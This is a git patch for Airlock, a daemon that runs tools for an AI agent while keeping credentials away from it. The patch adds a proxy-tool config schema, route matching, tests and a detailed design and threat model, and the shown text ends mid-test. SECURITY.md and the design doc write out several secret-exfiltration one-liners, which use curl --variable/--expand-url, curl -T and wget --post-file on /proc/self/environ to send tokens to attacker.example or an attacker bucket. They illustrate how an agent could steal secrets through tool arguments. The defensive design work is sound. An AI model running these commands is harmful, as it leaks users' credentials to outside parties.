From 99395dfffc31912a12f07d50f96e35fef767b05d Mon Sep 17 00:00:00 2001 From: Paavo Pokkinen Date: Thu, 17 Sep 2026 09:01:30 +0300 Subject: [PATCH 01/48] feat(config): add proxy-tool schema and design for credential-injecting egress proxy Not every API has a purpose-built CLI (most of the GCP REST surface is out of gcloud's reach), but SECURITY.md rightly forbids handing curl a secret: the agent controls its arguments, and curl can ship its own environment anywhere. Restricting where curl may connect does not fix that, because allowed API hosts are multi-tenant and curl >= 8.3 can interpolate env vars by itself (--variable / --expand-url), macOS included. Proxy tools invert the model: the tool never holds a secret, and a daemon-side intercepting proxy attaches the credential after the request has left the tool, for operator-approved hosts only. The full design, including what is taken from and changed relative to claw-wrap, is in [proxy-tools-design.md](docs/proxy-tools-design.md). This commit lands the declarative half only: - [proxy.rs](src/proxy.rs): route table, host and METHOD /path matching. Deny by default; paths an upstream might normalize differently (.., //, %2F) are refused rather than guessed at. - [config.rs](src/config.rs): `proxy = true` + `[[tools.X.routes]]`. A proxy tool may not reference secrets in env nor set the proxy / CA variables the daemon will own. - [daemon.rs](src/daemon.rs): refuses to exec a proxy tool. There is no runtime yet, and spawning one the ordinary way would give it open network with no enforcement, which is the exact tool SECURITY.md bans. SECURITY.md also loses the claim that curl has no env interpolation. --- ARCHITECTURE.md | 4 +- README.md | 4 + SECURITY.md | 18 +- SKILL.md | 5 + docs/proxy-tools-design.md | 305 +++++++++++++++ src/config.rs | 530 +++++++++++++++++++++++++++ src/daemon.rs | 16 + src/lib.rs | 1 + src/main.rs | 13 + src/policy.rs | 1 + src/proxy.rs | 733 +++++++++++++++++++++++++++++++++++++ 11 files changed, 1626 insertions(+), 4 deletions(-) create mode 100644 docs/proxy-tools-design.md create mode 100644 src/proxy.rs diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md index 8a3c6bb..9876e1e 100644 --- a/ARCHITECTURE.md +++ b/ARCHITECTURE.md @@ -11,6 +11,7 @@ src/ ├── secrets.rs Secret wrapper, pluggable secret sources, env clearing ├── refresh.rs Background secret refresh task, exponential-backoff retry ├── policy.rs ToolPolicy / AgentPolicy construction, CWD validation +├── proxy.rs Proxy-tool egress policy: route table, host / path matching ├── redact.rs Aho-Corasick automaton, streaming redaction ├── sandbox.rs SandboxBackend trait, macOS Seatbelt, Linux Landlock ├── exec.rs Binary resolution, env construction, child spawn @@ -119,7 +120,8 @@ Each accepted connection is spawned as a `tokio::spawn(handle_connection(...))` Client sends: {"type":"exec","tool":"gh","args":["repo","list"],"cwd":"/home/user/project"} Daemon handler: - 1. Validate tool exists in config + 1. Validate tool exists in config; refuse proxy tools (no proxy runtime yet — + see docs/proxy-tools-design.md) 2. Validate CWD is within sandbox root 3. Resolve binary: walk PATH for "gh" → "/usr/bin/gh" 4. Build child env: walk tool.env in declared (alphabetical) order, resolving diff --git a/README.md b/README.md index 3bbd019..9b85932 100644 --- a/README.md +++ b/README.md @@ -267,6 +267,10 @@ TF_INPUT = "0" | `extra_read` | Additional read-only paths. | | `extra_write` | Additional read-write paths. | | `timeout` | Per-tool timeout in seconds; overrides the global value. | +| `proxy` | `true` marks a *proxy tool* — see below. **Schema only for now:** validated at load, but the daemon refuses to run proxy tools until the proxy runtime lands. | +| `routes` | `[[tools..routes]]` — hosts a proxy tool may reach, the credential header to attach, and optional `METHOD /path` allow/deny rules. | + +Proxy tools are the planned answer to "the API I need has no CLI": a general HTTP client such as `curl` whose only network path is a daemon-side proxy that attaches the credential *after* the request has left the tool, so the tool never holds a secret. A proxy tool's `env` may not reference secrets. Design, schema and threat model: [docs/proxy-tools-design.md](docs/proxy-tools-design.md). > **Only declare purpose-built CLIs as tools** — never shells (`bash`), interpreters (`python`, `node`), or tools where the agent controls the request (`curl`). If the agent can script the tool, it can transform secrets past the redactor or upload `/proc/self/environ`. See [SECURITY.md](SECURITY.md#tool-selection-what-should-and-should-not-be-an-airlock-tool). diff --git a/SECURITY.md b/SECURITY.md index 44384f3..b243173 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -248,7 +248,13 @@ airlock exec -- python3 -c 'import os; print(os.environ["GH_TOKEN"][::-1])' airlock exec -- bash -c 'curl -s -X POST https://attacker.example/collect -d "token=$GH_TOKEN"' ``` -**Without a shell**, `$GH_TOKEN` is not expanded — airlock execs the binary directly with literal arguments, and curl/wget have no built-in env var interpolation. But that does *not* make curl/wget safe, because they can read files — including the process's own environment on Linux via `/proc/self/environ`: +**Without a shell**, `$GH_TOKEN` is not expanded — airlock execs the binary directly with literal arguments. That does *not* make curl/wget safe. curl ≥ 8.3 interpolates environment variables on its own (`--variable %NAME` with `--expand-url` / `--expand-data`), on every platform: + +```bash +airlock exec -- curl --variable %GH_TOKEN --expand-url 'https://attacker.example/?t={{GH_TOKEN}}' +``` + +And both tools can read files — including the process's own environment on Linux via `/proc/self/environ`: ```bash # Exfiltrate the entire env (including injected secrets) as a file upload — no shell needed: @@ -257,7 +263,13 @@ airlock exec -- curl -s -T /proc/self/environ https://attacker.example/upload airlock exec -- wget --post-file=/proc/self/environ https://attacker.example/ ``` -`/proc/self/environ` does not exist on macOS, so the env-as-a-file trick is Linux-specific. Blocking shell expansion is not sufficient; curl and wget must not be declared as tools. +`/proc/self/environ` does not exist on macOS, so the env-as-a-file trick is Linux-specific — `--variable` is not. Blocking shell expansion is not sufficient; curl and wget must not be declared as tools with secrets in their environment. + +Restricting *where* such a tool can connect would not fix this either: allowed API hosts are typically multi-tenant (`storage.googleapis.com` serves an attacker's bucket as readily as yours), so the secret can be exfiltrated without leaving the allowlist. + +#### Planned: proxy tools + +The safe way to give an agent a general HTTP client is to make sure the client never holds the credential. A *proxy tool* (`proxy = true`) gets no secrets in its environment — config validation rejects any — and its only network path is a daemon-side proxy that attaches the credential after the request has left the tool, for operator-approved hosts only. The `proxy` / `routes` schema is parsed and validated today; **the runtime is not implemented, and the daemon refuses to execute a proxy tool** rather than run it with open network and no enforcement. Until it ships, the guidance in this section stands unchanged. Threat model and residual risks (API misuse within granted authority, data exfiltration to co-tenants of allowed hosts, weaker egress pinning on Linux): [docs/proxy-tools-design.md](docs/proxy-tools-design.md). The agent controls the arguments passed to the tool. If the tool is a shell, the agent effectively has arbitrary code execution *with* secrets — defeating Airlock's entire purpose. @@ -343,7 +355,7 @@ A tool could write its secrets to a file in a writable sandbox path. If the agen Tools have network access (currently always enabled). A compromised or malicious tool binary could send secrets to an external endpoint. -**Mitigation:** Only declare tools you trust. Airlock limits *which* tools receive secrets, so a compromised `ls` binary with no declared secrets can't exfiltrate anything. Future versions may support network policy restrictions. +**Mitigation:** Only declare tools you trust. Airlock limits *which* tools receive secrets, so a compromised `ls` binary with no declared secrets can't exfiltrate anything. Per-tool egress restriction is planned as part of [proxy tools](docs/proxy-tools-design.md). ### Memory inspection diff --git a/SKILL.md b/SKILL.md index 54a27bf..017a6ce 100644 --- a/SKILL.md +++ b/SKILL.md @@ -27,6 +27,11 @@ discover which tools are available before attempting to execute them. The daemon does NOT need to be running for this command — it reads the config file directly. +A tool listed with `proxy tool; reachable hosts:` is a proxy tool: it has no +secrets in its environment, and the hosts shown are the only ones it will be +able to reach. Proxy tools are not executable yet — `airlock exec` on one +returns an error until the proxy runtime ships. + Example output: ``` diff --git a/docs/proxy-tools-design.md b/docs/proxy-tools-design.md new file mode 100644 index 0000000..fdde00e --- /dev/null +++ b/docs/proxy-tools-design.md @@ -0,0 +1,305 @@ +# Proxy tools — design proposal + +**Status:** proposal. The config schema and route matcher described in +[Config schema](#config-schema) are implemented and tested +([src/proxy.rs](../src/proxy.rs), [src/config.rs](../src/config.rs)). The proxy +runtime is **not** implemented; until it is, the daemon refuses to execute a +proxy tool ([src/daemon.rs](../src/daemon.rs), `handle_exec_request`). + +## Problem + +Not every API is reachable through a purpose-built CLI. `gcloud` covers a +fraction of the Google Cloud REST surface; the rest needs a raw HTTP client. +Today that is impossible to do safely: [SECURITY.md](../SECURITY.md) forbids +declaring `curl` as a tool, because a tool whose arguments the agent fully +controls can ship anything in its environment anywhere. + +We want a tool type where the agent *can* use `curl` freely against an +operator-approved set of APIs, authenticated, without the credential ever +being within the agent's reach. + +## Why a host allowlist alone is not enough + +The obvious design — keep the token in curl's env, restrict where curl can +connect — does not hold: + +- **Allowed hosts are multi-tenant.** `storage.googleapis.com` serves every + GCP customer. `curl -T /proc/self/environ https://storage.googleapis.com/attacker-bucket/x` + never leaves the allowlist. +- **curl can read its own environment without a shell.** Since 8.3, + `--variable %NAME` imports an env var and `--expand-url` / `--expand-data` + interpolate it. This works on macOS too, where `/proc/self/environ` does not + exist. +- **curl can write files** (`-o`, `--dump-header`, `--trace`) into the sandbox + root, where the agent reads them back unredacted. + +So the design rests on a different invariant: + +> **A proxy tool never holds a secret.** The credential is attached to the +> request inside the daemon, after the request has left the tool. + +Everything the agent can extract from curl's process — env, files, memory — +is then worthless. Config validation enforces this: a proxy tool whose `env` +contains a `{ secret = ... }` reference is rejected at load time. + +Egress restriction is still part of the design, but as the second layer, not +the first (see [Sandbox enforcement](#sandbox-enforcement)). + +## Prior art: claw-wrap + +`claw-wrap` (Go, built on `elazarl/goproxy`) has the same feature. Summary of +what it does and what this proposal takes from it: + +| claw-wrap | Airlock | +|---|---| +| One global in-daemon MITM proxy on a fixed `127.0.0.1:8080`; tools opt in with `use_proxy: true`. | **Per-exec listener** on an ephemeral port, carrying only that tool's routes. A global route table means any proxied tool can obtain any route's credential. | +| Child gets `HTTP(S)_PROXY` + `CURL_CA_BUNDLE` / `SSL_CERT_FILE` / `NODE_EXTRA_CA_CERTS` / `REQUESTS_CA_BUNDLE`. Proxy URL is built from the *configured* listen string, not the bound address. | Same env vars, built from the **actual bound address**. | +| CA generated on disk (RSA-4096, key file 0600), rotated near expiry. | CA key **generated in memory at daemon start, never written**. Only the certificate touches disk. | +| Routes: host pattern → one injected header templated from a credential, plus `METHOD /path` allow/deny. `*` = one segment, `**` = rest. Host wildcard = exactly one label. | Same shape (adopted nearly verbatim — it is a good schema). | +| **Unmatched hosts pass through unmodified.** Routes are injection rules, not egress policy. | **Deny by default.** A host with no route is unreachable. | +| **Nothing blocks direct egress.** The sandbox docs cover filesystem only; a tool can ignore `HTTPS_PROXY` and connect directly. | Sandbox pins the tool's network to the proxy port. | +| Proxy auth: random token, Basic auth, constant-time compare. | Same, but per-exec (see below for why it is mandatory here). | +| SSRF: private-range check in the dialer's `Control` callback — i.e. *after* DNS resolution, which defeats rebinding. | Same: check the resolved `SocketAddr` immediately before `connect()`. | +| Host header vs. CONNECT authority consistency check. | Same, and the client's SNI is ignored entirely. | +| No response redaction, no audit trail for proxied requests. | Tool stdout already flows through the redactor; proxied requests are logged to the ring buffer. | + +## Decisions taken + +From the design interview: + +1. **TLS interception with a generated CA**, so the agent uses ordinary + `https://` URLs copied from API docs. (Rejected: plain-HTTP reverse proxy — + breaks redirects, pagination links and resumable-upload URLs; CONNECT-only + allowlist — leaves the token in curl's env.) +2. **Linux: Landlock TCP port restriction**, gap documented. (Rejected for + now: network namespaces — airtight, but a large change to the pre-exec + path and dependent on unprivileged user namespaces.) +3. **Routes carry optional method/path rules**, not just hosts. +4. **This PR: design + config schema.** Runtime follows separately. + +## Config schema + +```toml +# Minted on the trusted side, refreshed before expiry. The tool never sees it. +[secrets.gcp_token] +source = "command" +command = ["gcloud", "auth", "print-access-token", + "--impersonate-service-account=agent-ro@my-project.iam.gserviceaccount.com"] +refresh = 3000 + +[tools.curl] +description = "HTTP client for Google Cloud REST APIs (authenticated automatically)" +proxy = true + +[[tools.curl.routes]] +host = "*.googleapis.com" +inject = { header = "Authorization", value = "Bearer {secret}", secret = "gcp_token" } +allow = ["GET /**", "POST /v2/projects/*/locations/*/services"] +deny = ["DELETE /**"] +``` + +Validation (all at config load, all covered by tests): + +- `proxy = true` requires at least one route; `routes` without `proxy = true` + is an error. +- A proxy tool's `env` may hold static values only — **no secret refs** — and + may not set `HTTP_PROXY`, `HTTPS_PROXY`, `ALL_PROXY`, `NO_PROXY`, + `CURL_CA_BUNDLE`, `SSL_CERT_FILE`, `SSL_CERT_DIR`, `NODE_EXTRA_CA_CERTS` or + `REQUESTS_CA_BUNDLE` in either case. The daemon owns those. +- `host` is a DNS name or `*.` + DNS name. `*` matches exactly one label: + `*.googleapis.com` covers `run.googleapis.com` and + `europe-west1-run.googleapis.com`, not `googleapis.com`, not `a.b.googleapis.com`. + IP literals, ports, schemes and `*.tld` are rejected. Duplicate hosts within + a tool are rejected. An exact host beats a wildcard regardless of order. +- `inject.value` must contain `{secret}` exactly once and be printable ASCII + (no CR/LF — config cannot smuggle headers). `inject.header` may not be a + framing or hop-by-hop header (`Host`, `Content-Length`, + `Transfer-Encoding`, `Connection`, `Proxy-Authorization`, …). + `inject.secret` must be declared in `[secrets]`. `inject` is optional: a + route without it makes a host reachable unauthenticated. +- Rules are `METHOD /path`; method is uppercase or `*`; `*` is one non-empty + segment, `**` (final segment only) is zero or more. **`deny` beats `allow`; + an empty `allow` permits anything not denied.** Method comparison is + case-insensitive so `deny = ["DELETE /**"]` still bites on `delete`. +- Rules match the path only, never the query string. + +**Path ambiguity is refused, not normalized.** Rules are matched against the +path as sent, but an upstream may collapse `//`, resolve `..`, or decode +`%2F` before routing. Any of those lets a request match `allow` as one path +and be served as another. Requests whose path contains `.`/`..` segments, +empty inner segments, a backslash, or an encoded `/`, `.`, `\` or NUL are +refused regardless of rules. + +## Runtime design + +### Per-exec flow + +``` +handle_exec_request(tool = "curl") + 1. policy = config.tools["curl"].proxy (Some → proxy tool) + 2. listener = TcpListener::bind("127.0.0.1:0") → port P (actual) + 3. token = 32 random bytes (per exec) + 4. env += HTTPS_PROXY = https_proxy = HTTP_PROXY = http_proxy = ALL_PROXY + = http://airlock:@127.0.0.1:P + NO_PROXY = no_proxy = "" + CURL_CA_BUNDLE = SSL_CERT_FILE = REQUESTS_CA_BUNDLE + = NODE_EXTRA_CA_CERTS = /ca.pem + 5. ToolPolicy.network = ProxyOnly(P) → sandbox profile + 6. spawn child; tokio::spawn(serve(listener, policy, token, secrets)) + 7. child exits → abort the serve task, drop the listener +``` + +The listener lives exactly as long as the child. Nothing is bound when no +proxy tool is running. + +**Proxy auth is mandatory, not optional.** Airlock's trust boundary is a +`0700` Unix socket. A loopback TCP port has no file mode — *any local user* +can connect to it. Without the token, another user on the machine could race +an exec and have the daemon attach credentials to their requests. The token +is visible to the tool (and thus the agent), which is fine: it grants nothing +the agent does not already have via `airlock exec`. + +### Request handling + +``` +CONNECT run.googleapis.com:443 + ├─ Proxy-Authorization ≠ token (constant-time) → 407 + ├─ port ≠ 443 → 403 + ├─ policy.find_route(host) is None → 403 (deny by default) + └─ 200; TLS-accept with a leaf minted for `host` (client SNI ignored) + ALPN: http/1.1 only + per request: + ├─ Host header ≠ CONNECT authority → 400 (no domain fronting) + ├─ TE + CL together, obs-fold → 400 (smuggling) + ├─ !route.permits(method, path) → 403 + ├─ remove any client-supplied copy of inject.header + ├─ look up secret; slot Stale → 502 + ├─ set inject.header = prefix + secret + suffix + ├─ resolve host; any private / loopback / link-local / + │ CGNAT / ULA / metadata (169.254.0.0/16) address → 403 + │ (checked on the SocketAddr passed to connect(), post-DNS) + ├─ upstream TLS ≥ 1.2, verified against public roots for `host` + └─ stream response back unmodified +plain `GET http://…` (non-CONNECT) → 403 (never send credentials in cleartext) +``` + +The CONNECT authority is the single source of truth: it selects the route, +names the leaf certificate, is the DNS name dialed, and is the name the +upstream certificate is verified against. `curl --resolve`, `--connect-to`, +a forged `Host`, or a forged SNI cannot make these disagree. + +Redirects need no special handling. `curl -L` to another host is a new +CONNECT evaluated against the route table; the credential cannot follow +because it was never in curl's hands. + +### CA + +- ECDSA P-256 key generated once per daemon start, after daemonization, held + in memory and zeroized on drop. **Never written to disk.** A daemon restart + yields a new CA; nothing needs to trust it across restarts, because the + only consumers are children spawned by that daemon. +- The CA certificate carries X.509 **Name Constraints** limiting it to the + union of all routed DNS names, so even a leaked key cannot sign for + arbitrary sites. `MaxPathLen = 0`. +- The certificate (public, not secret) is written to a daemon-owned runtime + directory readable by the tool's sandbox. +- The bundle handed to the tool contains **only** the Airlock CA. Every + connection the tool can make is intercepted, so public roots are not needed + and leaving them out means a direct connection that somehow escaped the + sandbox would still fail TLS. +- Leaf certificates are minted per host and cached for the daemon's lifetime. + +None of this touches the sync-startup invariant: key generation is pure CPU +and happens inside the async runtime, after the fork. + +### Secret handling + +The header value is assembled into a zeroizing buffer from +`Inject { prefix, secret-label, suffix }` — never through `format!`. The +secret is read from the `SecretStore` per request, so a background refresh +takes effect on the next request and a `Stale` slot fails the request the +same way it fails an exec today. + +### Sandbox enforcement + +`ToolPolicy::requires_network: bool` becomes a three-way +`network: None | Full | ProxyOnly(port)`. + +**macOS (Seatbelt).** Replace the blanket `(allow network-outbound)` with +`(allow network-outbound (remote tcp "localhost:P"))` and omit the +mDNSResponder rules entirely — the tool needs no DNS, the daemon resolves. +Seatbelt's network filter only accepts `localhost` or `*` as the host, which +is exactly the shape needed. This is airtight for TCP and UDP. + +**Linux (Landlock).** ABI v4 (kernel ≥ 6.7) adds `LANDLOCK_ACCESS_NET_CONNECT_TCP` +and `BIND_TCP`. Handle both, allow connect to port `P` only. On an older +kernel a proxy tool **fails closed**. Known gaps, to be stated in SECURITY.md: + +- The rule is **port-scoped, not host-scoped**: the tool may connect to port + `P` on any host. +- **UDP is not covered**: DNS-based exfiltration remains possible. + +What the gaps cost: the tool holds no secret, so they leak *data the tool can +read*, not credentials — and the agent's own sandbox already has general +network access, so this is not a capability the agent lacked. Egress pinning +makes the tool's reachability equal its route table and is what makes +non-curl proxy tools (an SDK script, a vendored binary) reasonable; it is the +second layer, behind "the tool never holds a secret". A network-namespace +backend closes both gaps and is the intended follow-up. + +### Output + +Response bodies reach the agent via curl's stdout, which already passes +through the Aho-Corasick redactor — so an API that echoes the bearer token is +covered on that path. It is **not** covered when curl writes to a file +(`-o`). That gap exists for every Airlock tool today, but it is more +reachable here. Options, deferred: redact inside the proxy (requires forcing +`Accept-Encoding: identity` and re-framing), or deny the tool write access +outside a scratch directory. + +Each proxied request is logged to the ring buffer: method, host, path +(no query string — it may carry data), route decision, upstream status. + +## Residual risks to document when the runtime lands + +- **Misuse, not leakage.** The agent gets the credential's full API authority + on routed hosts — broader than a purpose-built CLI. Mitigate with a narrowly + scoped impersonated service account first, method/path rules second. +- **Data exfiltration to co-tenants.** Anything the tool can read can be + uploaded to an attacker's project on an allowed multi-tenant host. The + credential cannot. +- **Path rules are a convenience layer**, not an authorization system. They + see the path, not the body; a `POST` allowed for one purpose may do another + (`:batchUpdate`, GraphQL). IAM is the authority boundary. +- **HTTP/1.1 only** at first; gRPC and HTTP/2-only endpoints will not work. +- **Certificate-pinned clients break** under interception. By design. + +SECURITY.md's curl ban then narrows to: *never declare curl as a tool with +secrets in its env; declare it only as a proxy tool.* + +## Dependencies + +`rustls` + `tokio-rustls` (TLS both directions), `rcgen` (CA and leaf +minting), `hyper` + `hyper-util` (HTTP/1.1 server and client), +`webpki-roots` (upstream trust). `hudsucker` packages the same stack as a +ready-made MITM proxy; hand-rolling on `hyper` is preferred because the +request path is security-critical and small enough to audit. + +## Phasing + +| Phase | Content | +|---|---| +| **0 (this PR)** | Design; `proxy` / `routes` schema, validation, matcher, tests; daemon fails closed; `airlock list` shows routes. | +| 1 | Runtime on macOS: per-exec listener, CA, interception, injection, SSRF dial check, Seatbelt `ProxyOnly`. Flip the curl guidance in SECURITY.md / SKILL.md / README. | +| 2 | Linux: Landlock ABI v4 network rules, fail-closed kernel check. | +| 3 | Request audit detail, in-proxy response redaction, HTTP/2, network-namespace backend. | + +## Open questions + +- Apple's system curl is built against SecureTransport + LibreSSL. Confirm it + honors `CURL_CA_BUNDLE` for a proxy-intercepted connection and enforces + Name Constraints; otherwise document a Homebrew curl requirement. +- Should `airlock run` expose a long-lived proxy to the *agent's own* HTTP + client (no `airlock exec`)? Out of scope here; the per-exec model does not + extend to it without revisiting proxy auth. +- Per-route upstream port other than 443. diff --git a/src/config.rs b/src/config.rs index ebfa9bc..790f0e8 100644 --- a/src/config.rs +++ b/src/config.rs @@ -20,6 +20,8 @@ use std::time::Duration; use serde::Deserialize; use thiserror::Error; +use crate::proxy::{HostPattern, Inject, PathRule, ProxyPolicy, ProxyRoute, RouteError}; + // ─── Constants ──────────────────────────────────────────────────────────────── /// The config file name searched for during discovery. @@ -229,6 +231,77 @@ pub enum ConfigError { /// The offending env var name. name: String, }, + + /// `proxy` and `routes` disagree: routes without `proxy = true`, or a + /// proxy tool with no routes (which could not reach anything). + #[error("[tools.{tool}] {reason}")] + ProxyRoutesMismatch { + /// The offending tool. + tool: String, + /// Which way the two fields disagree. + reason: &'static str, + }, + + /// A proxy tool's `env` references a secret. The point of a proxy tool is + /// that the agent fully controls its arguments, so anything in its + /// environment must be assumed readable by the agent. + #[error( + "[tools.{tool}.env.{var_name}] references a secret, but {tool:?} is a proxy tool; \ + proxy tools must not receive secrets in their environment — attach the \ + credential with a route's `inject` instead" + )] + ProxyToolSecretEnv { + /// The offending tool. + tool: String, + /// The env var holding the secret reference. + var_name: String, + }, + + /// A proxy tool's `env` sets a variable the daemon itself must control to + /// keep the tool pointed at the proxy and trusting its CA. + #[error( + "[tools.{tool}.env.{var_name}] is managed by Airlock for proxy tools and cannot be set" + )] + ProxyReservedEnvVar { + /// The offending tool. + tool: String, + /// The reserved env var name. + var_name: String, + }, + + /// A `[[tools..routes]]` entry failed validation. + #[error("[[tools.{tool}.routes]] entry {index}: {source}")] + InvalidProxyRoute { + /// The offending tool. + tool: String, + /// Zero-based position of the route in the `routes` array. + index: usize, + /// What was wrong with it. + source: RouteError, + }, + + /// Two routes of one tool declare the same `host`, leaving it ambiguous + /// which rules and credential apply. + #[error("[[tools.{tool}.routes]] declares host {host:?} more than once")] + DuplicateProxyRouteHost { + /// The offending tool. + tool: String, + /// The repeated host pattern. + host: String, + }, + + /// A route's `inject.secret` names a label not declared in `[secrets]`. + #[error( + "[[tools.{tool}.routes]] host {host:?}: inject references undeclared secret label {label:?}" + )] + UndeclaredProxySecret { + /// The offending tool. + tool: String, + /// The route's host pattern. + host: String, + /// The undeclared label. + label: String, + }, } // ─── Raw TOML structures (serde) ────────────────────────────────────────────── @@ -407,6 +480,39 @@ struct RawToolConfig { /// Human-readable description of what this tool does. #[serde(default)] description: Option, + /// Marks this tool as a proxy tool: no direct network, all HTTP(S) via + /// the daemon's proxy, governed by `routes`. + #[serde(default)] + proxy: bool, + /// Egress routes. Required when `proxy = true`, rejected otherwise. + #[serde(default)] + routes: Vec, +} + +/// Raw deserialized `[[tools.X.routes]]` entry. +#[derive(Debug, Deserialize)] +#[serde(deny_unknown_fields)] +struct RawProxyRoute { + /// DNS name or `*.`-prefixed DNS name. + host: String, + /// Credential header to attach to permitted requests. + #[serde(default)] + inject: Option, + /// `METHOD /path` rules; if non-empty a request must match one. + #[serde(default)] + allow: Vec, + /// `METHOD /path` rules; a match refuses the request. + #[serde(default)] + deny: Vec, +} + +/// Raw deserialized `inject = { header, value, secret }` inline table. +#[derive(Debug, Deserialize)] +#[serde(deny_unknown_fields)] +struct RawInject { + header: String, + value: String, + secret: String, } // ─── Public types ───────────────────────────────────────────────────────────── @@ -527,6 +633,9 @@ pub struct ToolConfig { /// Human-readable description of what this tool does. pub description: Option, + + /// Egress policy when this is a proxy tool; `None` for ordinary tools. + pub proxy: Option, } /// Resolved configuration for the `[agent]` section. @@ -946,6 +1055,105 @@ fn resolve_secret_command_env( }) } +// ─── Proxy tools ────────────────────────────────────────────────────────────── + +/// Env vars that decide where a client sends its traffic and which CAs it +/// trusts. For a proxy tool the daemon sets these itself at spawn; a config +/// value would either be overwritten or, worse, steer the tool around the +/// proxy. +const PROXY_RESERVED_ENV_VARS: &[&str] = &[ + "ALL_PROXY", + "CURL_CA_BUNDLE", + "HTTPS_PROXY", + "HTTP_PROXY", + "NODE_EXTRA_CA_CERTS", + "NO_PROXY", + "REQUESTS_CA_BUNDLE", + "SSL_CERT_DIR", + "SSL_CERT_FILE", +]; + +/// Clients read the proxy variables in either case (`http_proxy` is in fact +/// the only form curl honors for plain HTTP), so the check ignores case. +fn is_proxy_reserved_env_var(name: &str) -> bool { + PROXY_RESERVED_ENV_VARS + .iter() + .any(|reserved| reserved.eq_ignore_ascii_case(name)) +} + +/// Validate a tool's `proxy` / `routes` pair into a [`ProxyPolicy`], or `None` +/// for an ordinary tool. +fn resolve_proxy_policy( + tool: &str, + proxy: bool, + raw_routes: Vec, + secrets: &HashMap, +) -> Result, ConfigError> { + if !proxy { + if !raw_routes.is_empty() { + return Err(ConfigError::ProxyRoutesMismatch { + tool: tool.to_string(), + reason: "has routes but is not a proxy tool; add `proxy = true`", + }); + } + return Ok(None); + } + if raw_routes.is_empty() { + return Err(ConfigError::ProxyRoutesMismatch { + tool: tool.to_string(), + reason: "is a proxy tool with no routes; it could not reach any host", + }); + } + + let mut routes: Vec = Vec::with_capacity(raw_routes.len()); + for (index, raw) in raw_routes.into_iter().enumerate() { + let invalid = |source| ConfigError::InvalidProxyRoute { + tool: tool.to_string(), + index, + source, + }; + + let host = HostPattern::parse(&raw.host).map_err(invalid)?; + if routes.iter().any(|r| r.host == host) { + return Err(ConfigError::DuplicateProxyRouteHost { + tool: tool.to_string(), + host: host.to_string(), + }); + } + + let inject = match raw.inject { + None => None, + Some(i) => { + let inject = Inject::parse(&i.header, &i.value, &i.secret).map_err(invalid)?; + if !secrets.contains_key(&inject.secret) { + return Err(ConfigError::UndeclaredProxySecret { + tool: tool.to_string(), + host: host.to_string(), + label: inject.secret, + }); + } + Some(inject) + } + }; + + let parse_rules = |rules: &[String]| -> Result, ConfigError> { + rules + .iter() + .map(|r| PathRule::parse(r).map_err(invalid)) + .collect() + }; + + routes.push(ProxyRoute { + host, + inject, + allow: parse_rules(&raw.allow)?, + deny: parse_rules(&raw.deny)?, + }); + } + + Ok(Some(ProxyPolicy { routes })) +} + // ─── Public API ─────────────────────────────────────────────────────────────── /// Parse and resolve a raw TOML config string into a fully validated [`Config`]. @@ -1041,11 +1249,23 @@ fn parse_and_resolve_config( name: var_name, }); } + if raw_tool.proxy && is_proxy_reserved_env_var(&var_name) { + return Err(ConfigError::ProxyReservedEnvVar { + tool: name.clone(), + var_name, + }); + } let value = match raw_value { RawEnvValue::Static(s) => { EnvValue::Static(render_env_template(&s, &sandbox_root, &name, &var_name)?) } RawEnvValue::SecretRef(RawSecretRef { secret }) => { + if raw_tool.proxy { + return Err(ConfigError::ProxyToolSecretEnv { + tool: name.clone(), + var_name, + }); + } if !secrets.contains_key(&secret) { // Location key includes the "tools." prefix so the // error message formats as [tools..env.]. @@ -1062,12 +1282,15 @@ fn parse_and_resolve_config( } } + let proxy = resolve_proxy_policy(&name, raw_tool.proxy, raw_tool.routes, &secrets)?; + let tool_config = ToolConfig { env, extra_read: resolve_paths(&raw_tool.extra_read, &sandbox_root)?, extra_write: resolve_paths(&raw_tool.extra_write, &sandbox_root)?, timeout: raw_tool.timeout.map(Duration::from_secs), description: raw_tool.description, + proxy, }; tools.insert(name, tool_config); @@ -2522,6 +2745,313 @@ KNOWN = { secret = "known" } } } + // ── Proxy tools ─────────────────────────────────────────────────────── + + /// Load a config consisting of a declared `gcp_token` secret plus `body`. + fn load_with_gcp_secret(body: &str) -> Result { + let tmp = tempdir().unwrap(); + write_config( + tmp.path(), + &format!( + r#" +allow_home_root = true + +[secrets.gcp_token] +source = "env" +from = "GCP_TOKEN" +{body}"# + ), + ); + let _home_guard = TempEnvVar::new("HOME", tmp.path().to_str().unwrap()); + load_config(tmp.path()) + } + + #[test] + fn parse_proxy_tool_with_routes() { + let config = load_with_gcp_secret( + r#" +[tools.curl] +proxy = true + +[[tools.curl.routes]] +host = "*.googleapis.com" +inject = { header = "Authorization", value = "Bearer {secret}", secret = "gcp_token" } +allow = ["GET /**", "POST /v2/projects/*/locations/*/services"] +deny = ["DELETE /**"] + +[[tools.curl.routes]] +host = "example.com" +"#, + ) + .unwrap(); + + let policy = config.tools["curl"].proxy.as_ref().unwrap(); + assert_eq!(policy.routes.len(), 2); + + let google = policy.find_route("run.googleapis.com").unwrap(); + let inject = google.inject.as_ref().unwrap(); + assert_eq!(inject.header, "Authorization"); + assert_eq!(inject.prefix, "Bearer "); + assert_eq!(inject.secret, "gcp_token"); + assert!(google.permits("GET", "/v2/projects/p/locations/l/services")); + assert!(google.permits("POST", "/v2/projects/p/locations/l/services")); + assert!(!google.permits("DELETE", "/v2/projects/p/locations/l/services/s")); + assert!(!google.permits("PATCH", "/v2/projects/p/locations/l/services/s")); + + let plain = policy.find_route("example.com").unwrap(); + assert!(plain.inject.is_none()); + assert!(policy.find_route("attacker.test").is_none()); + } + + #[test] + fn ordinary_tool_has_no_proxy_policy() { + let config = load_with_gcp_secret("\n[tools.gh]\n").unwrap(); + assert!(config.tools["gh"].proxy.is_none()); + } + + #[test] + fn reject_routes_without_proxy_flag() { + let err = load_with_gcp_secret( + r#" +[tools.curl] + +[[tools.curl.routes]] +host = "example.com" +"#, + ) + .unwrap_err(); + assert!( + matches!(err, ConfigError::ProxyRoutesMismatch { ref tool, .. } if tool == "curl"), + "got: {err:?}" + ); + } + + #[test] + fn reject_proxy_tool_without_routes() { + let err = load_with_gcp_secret("\n[tools.curl]\nproxy = true\n").unwrap_err(); + assert!( + matches!(err, ConfigError::ProxyRoutesMismatch { .. }), + "got: {err:?}" + ); + } + + #[test] + fn reject_proxy_tool_with_secret_in_env() { + let err = load_with_gcp_secret( + r#" +[tools.curl] +proxy = true + +[tools.curl.env] +TOKEN = { secret = "gcp_token" } + +[[tools.curl.routes]] +host = "example.com" +"#, + ) + 